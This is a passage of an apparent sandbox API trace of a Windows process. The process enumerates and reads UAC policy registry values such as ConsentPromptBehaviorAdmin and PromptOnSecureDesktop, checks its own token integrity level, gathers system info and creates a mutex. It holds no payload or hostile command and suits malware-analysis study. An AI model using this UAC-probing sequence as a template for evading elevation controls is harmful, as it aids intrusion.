hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcb9c8 [0254.872] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb8e8) returned 1 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb8e8 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc550 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb9f0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc508 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba00 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc478 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba10 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc430 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x30) returned 0xdcba20 [0254.872] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9c8) returned 1 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb9c8 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3e8 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcb9d8 [0254.872] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3a0 [0254.872] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba58 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc358 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba68 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba20) returned 1 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba20 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcba30 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd270 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd280 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.873] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.873] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb900) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc4c0) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb910) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc5e0) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb920) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc598) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9b8) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc550) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb8e8) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc508) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9f0) returned 1 [0254.873] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc478) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba00) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc430) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba10) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3e8) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9c8) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc3a0) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9d8) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc358) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba58) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba68) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba20) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcba30) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd270) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd280) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.874] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.874] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0xdcc2c8, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xdcc2c8*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.874] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.874] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd280 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.874] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd270 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.874] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd290 [0254.874] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2a0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcb8e8 [0254.875] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2b0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2c0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2d0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc358 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x30) returned 0xdcb9b8 [0254.875] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb8e8) returned 1 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3a0 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc3e8 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc430 [0254.875] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.875] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc478 [0254.876] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc508 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcb9b8) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd330 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc550 [0254.876] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd340 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc598 [0254.876] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc5e0 [0254.876] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc4c0 [0254.876] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.876] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd280) returned 1 [0254.876] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd270) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd290) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2a0) returned 1 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.877] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.877] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0xdcc508, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0xdcc508*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0254.877] RegCloseKey (hKey=0x38) returned 0x0 [0254.877] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0254.877] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0254.877] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0254.877] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0254.877] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.877] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0xdcc628, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0xdcc628, ReturnLength=0x18fbfc) returned 1 [0254.877] GetSidSubAuthorityCount (pSid=0xdcc630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xdcc631 [0254.877] GetSidSubAuthority (pSid=0xdcc630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xdcc638 [0254.877] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc628) returned 1 [0254.877] NtClose (Handle=0xc4) returned 0x0 [0254.877] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0254.877] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x6c) returned 0xdcb8e8 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc628 [0254.878] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc508 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc4c0 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc5e0 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc598 [0254.878] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x5000) returned 0xdd0048 [0254.878] 